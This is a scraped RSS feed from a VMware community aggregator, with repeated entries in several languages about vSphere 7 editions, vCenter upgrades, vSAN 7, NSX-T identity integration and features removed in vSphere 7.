For Remote Office/Branch Office (ROBO) sites.
  • ROBO Standard: 
Business Continuity and Backup Features
  • ROBO Advanced: 
Standardization of Host Configurations
  • ROBO Enterprise: 
Data Security Through Encryption

for more details on comparison, check below link.

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/vsphere/vmw-flyr-vsphererobo-uslet.pdf

Essential kits:

VMware vSphere Essentials Kits are for small businesses. For more details, do check below link.

  • vSphere Essentials Kit:
Server virtualization and consolidation with centralized management
  • vSphere Essentials plus Kit:
Server virtualization and consolidation plus business continuity

vSphere Scale Out:

Server virtualization for big data and HPC workloads.

more information available at,

]]> + With recent release of VMware vSphere version 7.0, we have lots of new features like Identity federation with ADFS, vSphere trust authority and so on.   

This post is to provide the information on how to access details about vSphere editions, ROBO Editions and Essential kits and their features respectively. 

For your virtual infrastructure and cloud platform.
  • Standard: 
Server Consolidation and Business Continuity
  • Enterprise Plus: 
Resource Management, Simplified Lifecycle Management, Intrinsic Security, Resiliency and Performance for Enhanced Applications
  • VMware Cloud Foundation:
Run Modern Applications on vSphere 7 with Kubernetes

For more details on comparisons, check below link.

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/vsphere/vmw-flyr-comparevsphereeditions-uslet.pdf

For Remote Office/Branch Office (ROBO) sites.
  • ROBO Standard: 
Business Continuity and Backup Features
  • ROBO Advanced: 
Standardization of Host Configurations
  • ROBO Enterprise: 
Data Security Through Encryption

for more details on comparison, check below link.

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/vsphere/vmw-flyr-vsphererobo-uslet.pdf

Essential kits:

VMware vSphere Essentials Kits are for small businesses. For more details, do check below link.

  • vSphere Essentials Kit:
Server virtualization and consolidation with centralized management
  • vSphere Essentials plus Kit:
Server virtualization and consolidation plus business continuity

vSphere Scale Out:

Server virtualization for big data and HPC workloads.

more information available at,

]]> + http://blogs.virtualmaestro.in + + + + + <![CDATA[vSphere 7 – Demo Upgrade from VCSA 6.5 with Ext PSC to 7.0 | New Features – Update Planner | vCenter Profile | Template Versioning etc.]]> + http://techietech.org/vsphere-7-demo-upgrade-from-vcsa-6-5-with-ext-psc-to-7-0-new-features-update-planner-vcenter-profile-template-versioning-etc/ + http://techietech.org/vsphere-7-demo-upgrade-from-vcsa-6-5-with-ext-psc-to-7-0-new-features-update-planner-vcenter-profile-template-versioning-etc/ + Mon, 06 Apr 2020 11:59:12 -0700 + + + techietech.org/ + + + + + <![CDATA[vSphere 7 – Demo Upgrade from VCSA 6.5 with Ext PSC to 7.0 | New Features – Update Planner | vCenter Profile | Template Versioning etc.]]> + http://techietech.org/vsphere-7-demo-upgrade-from-vcsa-6-5-with-ext-psc-to-7-0-new-features-update-planner-vcenter-profile-template-versioning-etc/ + http://techietech.org/vsphere-7-demo-upgrade-from-vcsa-6-5-with-ext-psc-to-7-0-new-features-update-planner-vcenter-profile-template-versioning-etc/ + Mon, 06 Apr 2020 11:59:12 -0700 + + + http://techietech.org/ + + + + + <![CDATA[vCenter Server 7.0 Installation !!]]> + https://www.stephenhackers.co.uk/vcenter-server-7-0-installation/ + https://www.stephenhackers.co.uk/vcenter-server-7-0-installation/ + Mon, 06 Apr 2020 11:08:56 -0700 + + + https://www.stephenhackers.co.uk/ + + + + + <![CDATA[How to install Next Generation ESXi 7.0 version !!]]> + https://www.stephenhackers.co.uk/how-to-install-next-generation-esxi-7-0-version/ + https://www.stephenhackers.co.uk/how-to-install-next-generation-esxi-7-0-version/ + Mon, 06 Apr 2020 11:08:32 -0700 + + + https://www.stephenhackers.co.uk/ + + + + + <![CDATA[vSAN File Services with vCloud Director]]> + https://fojta.wordpress.com/2020/04/06/vsan-file-services-with-vcloud-director/ + https://fojta.wordpress.com/2020/04/06/vsan-file-services-with-vcloud-director/ + Mon, 06 Apr 2020 10:56:15 -0700 + Continue reading vSAN File Services with vCloud Director ]]> + Continue reading vSAN File Services with vCloud Director ]]> + https://fojta.wordpress.com + + + + + <![CDATA[VMware: Actualizar nuestro VCSA a la última versión – VMware vCenter Server 7.0]]> + https://www.jorgedelacruz.es/2020/04/06/vmware-actualizar-nuestro-vcsa-a-la-ultima-version-vmware-vcenter-server-7-0/ + https://www.jorgedelacruz.es/2020/04/06/vmware-actualizar-nuestro-vcsa-a-la-ultima-version-vmware-vcenter-server-7-0/ + Mon, 06 Apr 2020 07:15:23 -0700 + Saludos amigos, VMware ha lanzado el esperado vSphere 7, del que ya os conté muchas novedades aquí.  Que además de contener como siempre muchas actualizaciones…

+

The post VMware: Actualizar nuestro VCSA a la última versión – VMware vCenter Server 7.0 appeared first on El Blog de Jorge de la Cruz.

]]>
+ Saludos amigos, VMware ha lanzado el esperado vSphere 7, del que ya os conté muchas novedades aquí.  Que además de contener como siempre muchas actualizaciones…

+

The post VMware: Actualizar nuestro VCSA a la última versión – VMware vCenter Server 7.0 appeared first on El Blog de Jorge de la Cruz.

]]>
+ https://jorgedelacruz.es + +
+ + + <![CDATA[VMware vSAN Kurulum ve Konfigürasyonu]]> + https://www.isleyen.net/vmware-vsan-kurulum-ve-konfigurasyonu/ + https://www.isleyen.net/vmware-vsan-kurulum-ve-konfigurasyonu/ + Mon, 06 Apr 2020 07:12:20 -0700 + + + https://www.isleyen.net + + + + + <![CDATA[vSAN 7 Yayında]]> + http://www.ksugle.com/vsan-7-yayinda/?utm_source=rss&utm_medium=rss&utm_campaign=vsan-7-yayinda + http://www.ksugle.com/vsan-7-yayinda/?utm_source=rss&utm_medium=rss&utm_campaign=vsan-7-yayinda + Mon, 06 Apr 2020 06:41:34 -0700 + Uzunca bir aradan sonra Merhaba, Umarım herkes iyidir malumunuz hayat koşturmacası içerisinde yeni makaleler için hands on olmaktan bir sürededir uzak kaldım.Dünya gibi ülkemizide saran corona virüsü sebebiyle evden çalışmaya geçtiğimiz bu günlerde zaman buldukça tekrardan yazmaya çalışıcam.  Geçtiğimiz günlerde genel kullanıma açılan vSAN 7, veri merkezi modernizasyonunda geliştirdiği özellikleriyle süreçleri hızlandırma ve üç yeni özelliğe sahip yeni versiyonuyla yayınlandı. Bu yeni üç özellik: daha basit yaşam döngüsü yönetimi, yeni dosya hizmetleri ve gelişmiş bulut yerel depolama. vSphere Yaşam Döngüsü Yöneticisi Bildiğiniz gibi uzun yıllardır VMware’in yaşam döngüsünü yöneten VUM ( VMware Update Manager) adında bir tool kullanıyorduk. Versiyon 7.0 […]

+

vSAN 7 Yayında yazısı ilk önce IT Logs - Kerem ŞUĞLE üzerinde ortaya çıktı.

]]>
+ Uzunca bir aradan sonra Merhaba, Umarım herkes iyidir malumunuz hayat koşturmacası içerisinde yeni makaleler için hands on olmaktan bir sürededir uzak kaldım.Dünya gibi ülkemizide saran corona virüsü sebebiyle evden çalışmaya geçtiğimiz bu günlerde zaman buldukça tekrardan yazmaya çalışıcam.  Geçtiğimiz günlerde genel kullanıma açılan vSAN 7, veri merkezi modernizasyonunda geliştirdiği özellikleriyle süreçleri hızlandırma ve üç yeni özelliğe sahip yeni versiyonuyla yayınlandı. Bu yeni üç özellik: daha basit yaşam döngüsü yönetimi, yeni dosya hizmetleri ve gelişmiş bulut yerel depolama. vSphere Yaşam Döngüsü Yöneticisi Bildiğiniz gibi uzun yıllardır VMware’in yaşam döngüsünü yöneten VUM ( VMware Update Manager) adında bir tool kullanıyorduk. Versiyon 7.0 […]

+

vSAN 7 Yayında yazısı ilk önce IT Logs - Kerem ŞUĞLE üzerinde ortaya çıktı.

]]>
+ http://www.ksugle.com + +
+ + + <![CDATA[vSAN 7 Yayında]]> + http://www.ksugle.com/vsan-7-yayinda/?utm_source=rss&utm_medium=rss&utm_campaign=vsan-7-yayinda + http://www.ksugle.com/vsan-7-yayinda/?utm_source=rss&utm_medium=rss&utm_campaign=vsan-7-yayinda + Mon, 06 Apr 2020 06:41:34 -0700 + Uzunca bir aradan sonra Merhaba, Umarım herkes iyidir malumunuz hayat koşturmacası içerisinde yeni makaleler için hands on olmaktan bir sürededir uzak kaldım.Dünya gibi ülkemizide saran corona virüsü sebebiyle evden çalışmaya geçtiğimiz bu günlerde zaman buldukça tekrardan yazmaya çalışıcam.  Geçtiğimiz günlerde genel kullanıma açılan vSAN 7, veri merkezi modernizasyonunda geliştirdiği özellikleriyle süreçleri hızlandırma ve üç yeni özelliğe sahip yeni versiyonuyla yayınlandı. Bu yeni üç özellik: daha basit yaşam döngüsü yönetimi, yeni dosya hizmetleri ve gelişmiş bulut yerel depolama. vSphere Yaşam Döngüsü Yöneticisi Bildiğiniz gibi uzun yıllardır VMware’in yaşam döngüsünü yöneten VUM ( VMware Update Manager) adında bir tool kullanıyorduk. Versiyon 7.0 […]

+

vSAN 7 Yayında yazısı ilk önce IT Logs - Kerem ŞUĞLE üzerinde ortaya çıktı.

]]>
+ Uzunca bir aradan sonra Merhaba, Umarım herkes iyidir malumunuz hayat koşturmacası içerisinde yeni makaleler için hands on olmaktan bir sürededir uzak kaldım.Dünya gibi ülkemizide saran corona virüsü sebebiyle evden çalışmaya geçtiğimiz bu günlerde zaman buldukça tekrardan yazmaya çalışıcam.  Geçtiğimiz günlerde genel kullanıma açılan vSAN 7, veri merkezi modernizasyonunda geliştirdiği özellikleriyle süreçleri hızlandırma ve üç yeni özelliğe sahip yeni versiyonuyla yayınlandı. Bu yeni üç özellik: daha basit yaşam döngüsü yönetimi, yeni dosya hizmetleri ve gelişmiş bulut yerel depolama. vSphere Yaşam Döngüsü Yöneticisi Bildiğiniz gibi uzun yıllardır VMware’in yaşam döngüsünü yöneten VUM ( VMware Update Manager) adında bir tool kullanıyorduk. Versiyon 7.0 […]

+

vSAN 7 Yayında yazısı ilk önce IT Logs - Kerem ŞUĞLE üzerinde ortaya çıktı.

]]>
+ ksugle.com + +
+ + + <![CDATA[vSAN 7 Yayında]]> + http://www.ksugle.com/vsan-7-yayinda/?utm_source=rss&utm_medium=rss&utm_campaign=vsan-7-yayinda + http://www.ksugle.com/vsan-7-yayinda/?utm_source=rss&utm_medium=rss&utm_campaign=vsan-7-yayinda + Mon, 06 Apr 2020 06:41:34 -0700 + Uzunca bir aradan sonra Merhaba, Umarım herkes iyidir malumunuz hayat koşturmacası içerisinde yeni makaleler için hands on olmaktan bir sürededir uzak kaldım.Dünya gibi ülkemizide saran corona virüsü sebebiyle evden çalışmaya geçtiğimiz bu günlerde zaman buldukça tekrardan yazmaya çalışıcam.  Geçtiğimiz günlerde genel kullanıma açılan vSAN 7, veri merkezi modernizasyonunda geliştirdiği özellikleriyle süreçleri hızlandırma ve üç yeni özelliğe sahip yeni versiyonuyla yayınlandı. Bu yeni üç özellik: daha basit yaşam döngüsü yönetimi, yeni dosya hizmetleri ve gelişmiş bulut yerel depolama. vSphere Yaşam Döngüsü Yöneticisi Bildiğiniz gibi uzun yıllardır VMware’in yaşam döngüsünü yöneten VUM ( VMware Update Manager) adında bir tool kullanıyorduk. Versiyon 7.0 […]

+

vSAN 7 Yayında yazısı ilk önce IT Logs - Kerem ŞUĞLE üzerinde ortaya çıktı.

]]>
+ Uzunca bir aradan sonra Merhaba, Umarım herkes iyidir malumunuz hayat koşturmacası içerisinde yeni makaleler için hands on olmaktan bir sürededir uzak kaldım.Dünya gibi ülkemizide saran corona virüsü sebebiyle evden çalışmaya geçtiğimiz bu günlerde zaman buldukça tekrardan yazmaya çalışıcam.  Geçtiğimiz günlerde genel kullanıma açılan vSAN 7, veri merkezi modernizasyonunda geliştirdiği özellikleriyle süreçleri hızlandırma ve üç yeni özelliğe sahip yeni versiyonuyla yayınlandı. Bu yeni üç özellik: daha basit yaşam döngüsü yönetimi, yeni dosya hizmetleri ve gelişmiş bulut yerel depolama. vSphere Yaşam Döngüsü Yöneticisi Bildiğiniz gibi uzun yıllardır VMware’in yaşam döngüsünü yöneten VUM ( VMware Update Manager) adında bir tool kullanıyorduk. Versiyon 7.0 […]

+

vSAN 7 Yayında yazısı ilk önce IT Logs - Kerem ŞUĞLE üzerinde ortaya çıktı.

]]>
+ http://www.ksugle.com + +
+ + + <![CDATA[Podcast Novedades vSphere 7, vSAN 7 y Cloud Foundation 4]]> + https://federicocinalli.com/blog/item/252-podcast-novedades-vsphere-7-vsan-7-y-cloud-foundation-4 + https://federicocinalli.com/blog/item/252-podcast-novedades-vsphere-7-vsan-7-y-cloud-foundation-4 + Mon, 06 Apr 2020 06:27:46 -0700 +

 

+

Novedades vSphere 7 y Tanzu

+

 

+

vSphere 7 es GA desde el pasado 2 de Abril y estamos hablando de una de las actualizaciones más importantes en la historia de VMware.
Esta actualización consolida la modernización de la Infraestructura de Virtualización para dar soporte a una plataforma común para Aplicaciones tradicionales y Cloud Native Apps.

+

vSphere 7 viene de la mano con vSAN 7 y Cloud Foundation 4. En el caso de vSAN 7 se incorpora una funcionalidad clave que ofrece almacenamiento nativo para Kubernetes ofrecido de forma nativa en el hipervisor, además de múltiples mejoras que se comentan en el Podcast.

+

 

+

Cloud Foundation 4

+

 

+

Cloud Foundation 4 representa la plataforma completa para Infraestructuras On-Premises, de Cloud Pública y también Híbrida siendo ésta Multi-Cloud y soportando ahora Kubernetes de forma nativa en el Hipervisor con la gestión de Tanzu.

+

#UnPodcastParaTI

+

 

+

 

]]>
+

 

+

Novedades vSphere 7 y Tanzu

+

 

+

vSphere 7 es GA desde el pasado 2 de Abril y estamos hablando de una de las actualizaciones más importantes en la historia de VMware.
Esta actualización consolida la modernización de la Infraestructura de Virtualización para dar soporte a una plataforma común para Aplicaciones tradicionales y Cloud Native Apps.

+

vSphere 7 viene de la mano con vSAN 7 y Cloud Foundation 4. En el caso de vSAN 7 se incorpora una funcionalidad clave que ofrece almacenamiento nativo para Kubernetes ofrecido de forma nativa en el hipervisor, además de múltiples mejoras que se comentan en el Podcast.

+

 

+

Cloud Foundation 4

+

 

+

Cloud Foundation 4 representa la plataforma completa para Infraestructuras On-Premises, de Cloud Pública y también Híbrida siendo ésta Multi-Cloud y soportando ahora Kubernetes de forma nativa en el Hipervisor con la gestión de Tanzu.

+

#UnPodcastParaTI

+

 

+

 

]]>
+ http://federicocinalli.com + +
+ + + <![CDATA[Podcast Novedades vSphere 7, vSAN 7 y Cloud Foundation 4]]> + https://federicocinalli.com/blog/item/252-podcast-novedades-vsphere-7-vsan-7-y-cloud-foundation-4 + https://federicocinalli.com/blog/item/252-podcast-novedades-vsphere-7-vsan-7-y-cloud-foundation-4 + Mon, 06 Apr 2020 06:27:46 -0700 +

 

+

Novedades vSphere 7 y Tanzu

+

 

+

vSphere 7 es GA desde el pasado 2 de Abril y estamos hablando de una de las actualizaciones más importantes en la historia de VMware.
Esta actualización consolida la modernización de la Infraestructura de Virtualización para dar soporte a una plataforma común para Aplicaciones tradicionales y Cloud Native Apps.

+

vSphere 7 viene de la mano con vSAN 7 y Cloud Foundation 4. En el caso de vSAN 7 se incorpora una funcionalidad clave que ofrece almacenamiento nativo para Kubernetes ofrecido de forma nativa en el hipervisor, además de múltiples mejoras que se comentan en el Podcast.

+

 

+

Cloud Foundation 4

+

 

+

Cloud Foundation 4 representa la plataforma completa para Infraestructuras On-Premises, de Cloud Pública y también Híbrida siendo ésta Multi-Cloud y soportando ahora Kubernetes de forma nativa en el Hipervisor con la gestión de Tanzu.

+

#UnPodcastParaTI

+

 

+

 

]]>
+

 

+

Novedades vSphere 7 y Tanzu

+

 

+

vSphere 7 es GA desde el pasado 2 de Abril y estamos hablando de una de las actualizaciones más importantes en la historia de VMware.
Esta actualización consolida la modernización de la Infraestructura de Virtualización para dar soporte a una plataforma común para Aplicaciones tradicionales y Cloud Native Apps.

+

vSphere 7 viene de la mano con vSAN 7 y Cloud Foundation 4. En el caso de vSAN 7 se incorpora una funcionalidad clave que ofrece almacenamiento nativo para Kubernetes ofrecido de forma nativa en el hipervisor, además de múltiples mejoras que se comentan en el Podcast.

+

 

+

Cloud Foundation 4

+

 

+

Cloud Foundation 4 representa la plataforma completa para Infraestructuras On-Premises, de Cloud Pública y también Híbrida siendo ésta Multi-Cloud y soportando ahora Kubernetes de forma nativa en el Hipervisor con la gestión de Tanzu.

+

#UnPodcastParaTI

+

 

+

 

]]>
+ federicocinalli.com + +
+ + + <![CDATA[Podcast Novedades vSphere 7, vSAN 7 y Cloud Foundation 4]]> + https://federicocinalli.com/blog/item/252-podcast-novedades-vsphere-7-vsan-7-y-cloud-foundation-4 + https://federicocinalli.com/blog/item/252-podcast-novedades-vsphere-7-vsan-7-y-cloud-foundation-4 + Mon, 06 Apr 2020 06:27:46 -0700 +

 

+

Novedades vSphere 7 y Tanzu

+

 

+

vSphere 7 es GA desde el pasado 2 de Abril y estamos hablando de una de las actualizaciones más importantes en la historia de VMware.
Esta actualización consolida la modernización de la Infraestructura de Virtualización para dar soporte a una plataforma común para Aplicaciones tradicionales y Cloud Native Apps.

+

vSphere 7 viene de la mano con vSAN 7 y Cloud Foundation 4. En el caso de vSAN 7 se incorpora una funcionalidad clave que ofrece almacenamiento nativo para Kubernetes ofrecido de forma nativa en el hipervisor, además de múltiples mejoras que se comentan en el Podcast.

+

 

+

Cloud Foundation 4

+

 

+

Cloud Foundation 4 representa la plataforma completa para Infraestructuras On-Premises, de Cloud Pública y también Híbrida siendo ésta Multi-Cloud y soportando ahora Kubernetes de forma nativa en el Hipervisor con la gestión de Tanzu.

+

#UnPodcastParaTI

+

 

+

 

]]>
+

 

+

Novedades vSphere 7 y Tanzu

+

 

+

vSphere 7 es GA desde el pasado 2 de Abril y estamos hablando de una de las actualizaciones más importantes en la historia de VMware.
Esta actualización consolida la modernización de la Infraestructura de Virtualización para dar soporte a una plataforma común para Aplicaciones tradicionales y Cloud Native Apps.

+

vSphere 7 viene de la mano con vSAN 7 y Cloud Foundation 4. En el caso de vSAN 7 se incorpora una funcionalidad clave que ofrece almacenamiento nativo para Kubernetes ofrecido de forma nativa en el hipervisor, además de múltiples mejoras que se comentan en el Podcast.

+

 

+

Cloud Foundation 4

+

 

+

Cloud Foundation 4 representa la plataforma completa para Infraestructuras On-Premises, de Cloud Pública y también Híbrida siendo ésta Multi-Cloud y soportando ahora Kubernetes de forma nativa en el Hipervisor con la gestión de Tanzu.

+

#UnPodcastParaTI

+

 

+

 

]]>
+ http://federicocinalli.com + +
+ + + <![CDATA[Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2]]> + http://feedproxy.google.com/~r/vmwarearena/~3/SLD0bVBYe7o/ + http://feedproxy.google.com/~r/vmwarearena/~3/SLD0bVBYe7o/ + Mon, 06 Apr 2020 05:27:41 -0700 + By default, NSX-T appliances have only two built-in users: admin and audit. In the larger organization, we need Role-based access control to access any application. The same applies to NSX-T as well. We can integrate NSX-T with VMware Identity Manager (vIDM) and configure role-based access control (RBAC) for users that vIDM manages. With VMware Identity […]

+

The post Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2 appeared first on VMware Arena.

]]>
+ By default, NSX-T appliances have only two built-in users: admin and audit. In the larger organization, we need Role-based access control to access any application. The same applies to NSX-T as well. We can integrate NSX-T with VMware Identity Manager (vIDM) and configure role-based access control (RBAC) for users that vIDM manages. With VMware Identity […]

+

The post Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2 appeared first on VMware Arena.

]]>
+ vmwarearena.com + +
+ + + <![CDATA[Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2]]> + http://feedproxy.google.com/~r/vmwarearena/~3/SLD0bVBYe7o/ + http://feedproxy.google.com/~r/vmwarearena/~3/SLD0bVBYe7o/ + Mon, 06 Apr 2020 05:27:41 -0700 + By default, NSX-T appliances have only two built-in users: admin and audit. In the larger organization, we need Role-based access control to access any application. The same applies to NSX-T as well. We can integrate NSX-T with VMware Identity Manager (vIDM) and configure role-based access control (RBAC) for users that vIDM manages. With VMware Identity […]

+

The post Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2 appeared first on VMware Arena.

]]>
+ By default, NSX-T appliances have only two built-in users: admin and audit. In the larger organization, we need Role-based access control to access any application. The same applies to NSX-T as well. We can integrate NSX-T with VMware Identity Manager (vIDM) and configure role-based access control (RBAC) for users that vIDM manages. With VMware Identity […]

+

The post Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2 appeared first on VMware Arena.

]]>
+ http://www.vmwarearena.com + +
+ + + <![CDATA[Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2]]> + http://feedproxy.google.com/~r/vmwarearena/~3/SLD0bVBYe7o/ + http://feedproxy.google.com/~r/vmwarearena/~3/SLD0bVBYe7o/ + Mon, 06 Apr 2020 05:27:41 -0700 + By default, NSX-T appliances have only two built-in users: admin and audit. In the larger organization, we need Role-based access control to access any application. The same applies to NSX-T as well. We can integrate NSX-T with VMware Identity Manager (vIDM) and configure role-based access control (RBAC) for users that vIDM manages. With VMware Identity […]

+

The post Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2 appeared first on VMware Arena.

]]>
+ By default, NSX-T appliances have only two built-in users: admin and audit. In the larger organization, we need Role-based access control to access any application. The same applies to NSX-T as well. We can integrate NSX-T with VMware Identity Manager (vIDM) and configure role-based access control (RBAC) for users that vIDM manages. With VMware Identity […]

+

The post Add Active Directory Server to VIDM – Integrate NSX-T with VIDM Part 2 appeared first on VMware Arena.

]]>
+ http://www.vmwarearena.com + +
+ + + <![CDATA[Чего больше нет в VMware vSphere 7?]]> + http://feedproxy.google.com/~r/Vmguru/~3/bI3CECUxuRc/vmware-vsphere-7-features-removal-and-deprecation + http://feedproxy.google.com/~r/Vmguru/~3/bI3CECUxuRc/vmware-vsphere-7-features-removal-and-deprecation + Mon, 06 Apr 2020 01:43:35 -0700 + Мы много писали о том, что нового появилось в обновленной платформе виртуализации VMware vSphere 7, которая недавно стала доступной для загрузки. Сегодня мы поговорим о том, чего больше нет в vSphere, ведь многие администраторы привыкли использовать некоторые средства, поэтому, возможно, подождут с апгрейдом. Об этих запланированных изменениях мы писали еще в 2017 году.

+

1. Больше нет vSphere Web Client на базе Flash

+

Об этом говорили давно, долго задерживали снятие с производства тяжеловесного vSphere Web Client, но все откладывали из-за несоответствия функциональности клиенту нового поколения vSphere Client на базе технологии HTML5. Теперь в vSphere 7 этот переход окончательно завершен, и старого Web Client больше нет.

+

Клиент на HTML5 включает в себя не только все старые рабочие процессы Web Client, но и давно получил новые возможности, такие как, например, упрощенная настройка механизма отказоустойчивости vCenter HA (VCHA) и функции обновлений vSphere Update Manager (VUM).

+

+

2. Больше нет внешнего PSC (Platform Services Controller)

+

Как мы уже рассказывали, Embedded PSC - это теперь единственно возможный вариант развертывания. Внешний PSC больше не поддерживается. Встроенный PSC имеет все необходимые сервисы для управления доменом vSphere SSO (подробнее описано в KB 60229).

+

С помощью утилиты Converge Tool, которая появилась в vSphere 6.7 Update 1, можно смигрировать внешний сервер Platform Services Controller (PSC) на простой в управлении embedded PSC, используя командный интерфейс vCenter Server CLI или графический клиент vSphere Client:

+

+

3. Больше нет VMware vCenter for Windows

+

Как мы уже писали, vSphere 6.7 - это была последняя версия платформы, где для vCenter еще была версия под Windows. Теперь остался только виртуальный модуль vCenter Server Appliance (vCSA) на базе Photon OS. Многие привыкли к сервисам vCenter на базе Windows, теперь придется отвыкать.

+

VMware рекомендует выполнить 2 основных шага для миграции с vCenter на vCSA:

+
  • Migration Assistant - консольная утилита, которую нужно выполнить до мастера миграции vCenter. Она выясняет соответствие требованиям к миграции и показывает дальнейшие шаги.
  • +
  • Migration Tool - это мастер миграции, который доступен из основного дистрибутива vCenter.
  • +

+

4. Больше нет Update Manager Plugin

+

На протяжении долгого времени это был плагин для vSphere Web Client. Теперь вместо продукта VMware Update Manager (VUM) в vSphere 7 есть более широкое по функциональности решение VMware Lifecycle Manager.

+

+

Ранее администраторы vSphere использовали Update Manager (VUM) для обновлений платформы и драйверов, а утилиты от производителей серверов для обновления их микрокода (firmware). Теперь эти процессы объединяются в единый механизм под управлением vSphere Lifecycle Manager.

+

5. Больше нет VNC-сервера в ESXi

+

Ранее в ESXi был встроенный VNC-сервер, который был убран в последней версии VMware vSphere 7. Раньше можно было соединиться с консолью виртуальной машины с помощью VNC-клиента, добавив в конфигурацию параметр RemoteDisplay.vnc.enable.

+

Теперь такой возможности больше нет (ей пользовались администраторы систем, не использующих средства VMware). Для соединения с консолью виртуальной машины используйте vSphere Client, хостовый клиент ESXi Host Client или средство VMware Remote Console.

+

6. Мелочи, которых или уже больше нет или их не рекомендуется использовать (не будет потом)

+

В эту категорию попали:

+
  • VMware vSphere 7.0 и протокол TLS Protocol (TLS 1.0 и 1.1 отключены по умолчанию).
  • +
  • Нет поддержки резервного копирования на уровне образов (Image-Based Backup) для сервера vCenter.
  • +
  • Интерфейс VMKlinux API уже давно безнадежно устарел, вместо него используется архитектура нативных драйверов под vSphere, начиная еще с ESXi 5.5. vmkLinux - это такая прослойка между VMkernel и Linux-драйверами, которая позволяла транслировать команды от ядра (так как VMkernel - это НЕ Linux) к драйверам и обратно. Но теперь нативных партнерских драйверов устройств для ESXi накопилось достаточно, и старая архитектура Linux-драйверов ушла в прошлое.
  • +
  • Депрекация поддержки 32-bit Userworld. Ранее партнерам VMware была доступна возможность делать 32-битные драйверы, плагины и другие компоненты в VIB-пакетах. Теперь, начиная со следующих версий vSphere, такой возможности больше не будет.
  • +
  • Почти убрана поддержка Integrated Windows Authentication. В этой версии IWA еще работает, но в следующей версии уже не будет. Подробнее в KB 78506.
  • +
  • Депрекация аутентификации DCUI Smart Card Authentication. Пользователям со смарт-картами рекомендовано использовать vCenter, PowerCLI или API-вызовы, ну либо логин и пароль по-старинке.
  • +
  • Депрекация Core Partition Profile для функциональности Host Profiles. Вместо разделов Coredump Partitions пользователям нужно использовать файлы Coredump Files.



]]>
+ Мы много писали о том, что нового появилось в обновленной платформе виртуализации VMware vSphere 7, которая недавно стала доступной для загрузки. Сегодня мы поговорим о том, чего больше нет в vSphere, ведь многие администраторы привыкли использовать некоторые средства, поэтому, возможно, подождут с апгрейдом. Об этих запланированных изменениях мы писали еще в 2017 году.

+

1. Больше нет vSphere Web Client на базе Flash

+

Об этом говорили давно, долго задерживали снятие с производства тяжеловесного vSphere Web Client, но все откладывали из-за несоответствия функциональности клиенту нового поколения vSphere Client на базе технологии HTML5. Теперь в vSphere 7 этот переход окончательно завершен, и старого Web Client больше нет.

+

Клиент на HTML5 включает в себя не только все старые рабочие процессы Web Client, но и давно получил новые возможности, такие как, например, упрощенная настройка механизма отказоустойчивости vCenter HA (VCHA) и функции обновлений vSphere Update Manager (VUM).

+

+

2. Больше нет внешнего PSC (Platform Services Controller)

+

Как мы уже рассказывали, Embedded PSC - это теперь единственно возможный вариант развертывания. Внешний PSC больше не поддерживается. Встроенный PSC имеет все необходимые сервисы для управления доменом vSphere SSO (подробнее описано в KB 60229).

+

С помощью утилиты Converge Tool, которая появилась в vSphere 6.7 Update 1, можно смигрировать внешний сервер Platform Services Controller (PSC) на простой в управлении embedded PSC, используя командный интерфейс vCenter Server CLI или графический клиент vSphere Client:

+

+

3. Больше нет VMware vCenter for Windows

+

Как мы уже писали, vSphere 6.7 - это была последняя версия платформы, где для vCenter еще была версия под Windows. Теперь остался только виртуальный модуль vCenter Server Appliance (vCSA) на базе Photon OS. Многие привыкли к сервисам vCenter на базе Windows, теперь придется отвыкать.

+

VMware рекомендует выполнить 2 основных шага для миграции с vCenter на vCSA:

+
  • Migration Assistant - консольная утилита, которую нужно выполнить до мастера миграции vCenter. Она выясняет соответствие требованиям к миграции и показывает дальнейшие шаги.
  • +
  • Migration Tool - это мастер миграции, который доступен из основного дистрибутива vCenter.
  • +

+

4. Больше нет Update Manager Plugin

+

На протяжении долгого времени это был плагин для vSphere Web Client. Теперь вместо продукта VMware Update Manager (VUM) в vSphere 7 есть более широкое по функциональности решение VMware Lifecycle Manager.

+

+

Ранее администраторы vSphere использовали Update Manager (VUM) для обновлений платформы и драйверов, а утилиты от производителей серверов для обновления их микрокода (firmware). Теперь эти процессы объединяются в единый механизм под управлением vSphere Lifecycle Manager.

+

5. Больше нет VNC-сервера в ESXi

+

Ранее в ESXi был встроенный VNC-сервер, который был убран в последней версии VMware vSphere 7. Раньше можно было соединиться с консолью виртуальной машины с помощью VNC-клиента, добавив в конфигурацию параметр RemoteDisplay.vnc.enable.

+

Теперь такой возможности больше нет (ей пользовались администраторы систем, не использующих средства VMware). Для соединения с консолью виртуальной машины используйте vSphere Client, хостовый клиент ESXi Host Client или средство VMware Remote Console.

+

6. Мелочи, которых или уже больше нет или их не рекомендуется использовать (не будет потом)

+

В эту категорию попали:

+
  • VMware vSphere 7.0 и протокол TLS Protocol (TLS 1.0 и 1.1 отключены по умолчанию).
  • +
  • Нет поддержки резервного копирования на уровне образов (Image-Based Backup) для сервера vCenter.
  • +
  • Интерфейс VMKlinux API уже давно безнадежно устарел, вместо него используется архитектура нативных драйверов под vSphere, начиная еще с ESXi 5.5. vmkLinux - это такая прослойка между VMkernel и Linux-драйверами, которая позволяла транслировать команды от ядра (так как VMkernel - это НЕ Linux) к драйверам и обратно. Но теперь нативных партнерских драйверов устройств для ESXi накопилось достаточно, и старая архитектура Linux-драйверов ушла в прошлое.
  • +
  • Депрекация поддержки 32-bit Userworld. Ранее партнерам VMware была доступна возможность делать 32-битные драйверы, плагины и другие компоненты в VIB-пакетах. Теперь, начиная со следующих версий vSphere, такой возможности больше не будет.
  • +
  • Почти убрана поддержка Integrated Windows Authentication. В этой версии IWA еще работает, но в следующей версии уже не будет. Подробнее в KB 78506.
  • +
  • Депрекация аутентификации DCUI Smart Card Authentication. Пользователям со смарт-картами рекомендовано использовать vCenter, PowerCLI или API-вызовы, ну либо логин и пароль по-старинке.
  • +
  • Депрекация Core Partition Profile для функциональности Host Profiles. Вместо разделов Coredump Partitions пользователям нужно использовать файлы Coredump Files.



]]>
